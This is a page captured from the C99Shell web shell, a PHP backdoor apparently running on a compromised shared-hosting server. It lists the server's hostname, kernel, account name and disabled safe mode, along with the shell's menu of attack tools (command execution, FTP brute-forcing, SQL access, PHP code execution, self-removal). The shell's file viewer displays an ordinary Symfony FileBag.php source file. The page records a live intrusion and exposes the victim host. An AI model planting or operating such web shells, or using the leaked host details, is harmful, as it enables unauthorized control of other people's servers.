!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/Symfony/Component/HttpFoundation/   drwxr-xr-x
Free 293.74 GB of 429.69 GB (68.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FileBag.php (3.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpFoundation;

use 
Symfony\Component\HttpFoundation\File\UploadedFile;

/**
 * FileBag is a container for uploaded files.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Bulat Shakirzyanov <mallluhuct@gmail.com>
 *
 * @api
 */
class FileBag extends ParameterBag
{
    private static 
$fileKeys = array('error''name''size''tmp_name''type');

    
/**
     * Constructor.
     *
     * @param array $parameters An array of HTTP files
     *
     * @api
     */
    
public function __construct(array $parameters = array())
    {
        
$this->replace($parameters);
    }

    
/**
     * {@inheritdoc}
     *
     * @api
     */
    
public function replace(array $files = array())
    {
        
$this->parameters = array();
        
$this->add($files);
    }

    
/**
     * {@inheritdoc}
     *
     * @api
     */
    
public function set($key$value)
    {
        if (!
is_array($value) && !$value instanceof UploadedFile) {
            throw new \
InvalidArgumentException('An uploaded file must be an array or an instance of UploadedFile.');
        }

        
parent::set($key$this->convertFileInformation($value));
    }

    
/**
     * {@inheritdoc}
     *
     * @api
     */
    
public function add(array $files = array())
    {
        foreach (
$files as $key => $file) {
            
$this->set($key$file);
        }
    }

    
/**
     * Converts uploaded files to UploadedFile instances.
     *
     * @param array|UploadedFile $file A (multi-dimensional) array of uploaded file information
     *
     * @return array A (multi-dimensional) array of UploadedFile instances
     */
    
protected function convertFileInformation($file)
    {
        if (
$file instanceof UploadedFile) {
            return 
$file;
        }

        
$file $this->fixPhpFilesArray($file);
        if (
is_array($file)) {
            
$keys array_keys($file);
            
sort($keys);

            if (
$keys == self::$fileKeys) {
                if (
UPLOAD_ERR_NO_FILE == $file['error']) {
                    
$file null;
                } else {
                    
$file = new UploadedFile($file['tmp_name'], $file['name'], $file['type'], $file['size'], $file['error']);
                }
            } else {
                
$file array_map(array($this'convertFileInformation'), $file);
            }
        }

        return 
$file;
    }

    
/**
     * Fixes a malformed PHP $_FILES array.
     *
     * PHP has a bug that the format of the $_FILES array differs, depending on
     * whether the uploaded file fields had normal field names or array-like
     * field names ("normal" vs. "parent[child]").
     *
     * This method fixes the array to look like the "normal" $_FILES array.
     *
     * It's safe to pass an already converted array, in which case this method
     * just returns the original array unmodified.
     *
     * @param array $data
     *
     * @return array
     */
    
protected function fixPhpFilesArray($data)
    {
        if (!
is_array($data)) {
            return 
$data;
        }

        
$keys array_keys($data);
        
sort($keys);

        if (
self::$fileKeys != $keys || !isset($data['name']) || !is_array($data['name'])) {
            return 
$data;
        }

        
$files $data;
        foreach (
self::$fileKeys as $k) {
            unset(
$files[$k]);
        }

        foreach (
array_keys($data['name']) as $key) {
            
$files[$key] = $this->fixPhpFilesArray(array(
                
'error'    => $data['error'][$key],
                
'name'     => $data['name'][$key],
                
'type'     => $data['type'][$key],
                
'tmp_name' => $data['tmp_name'][$key],
                
'size'     => $data['size'][$key]
            ));
        }

        return 
$files;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0042 ]--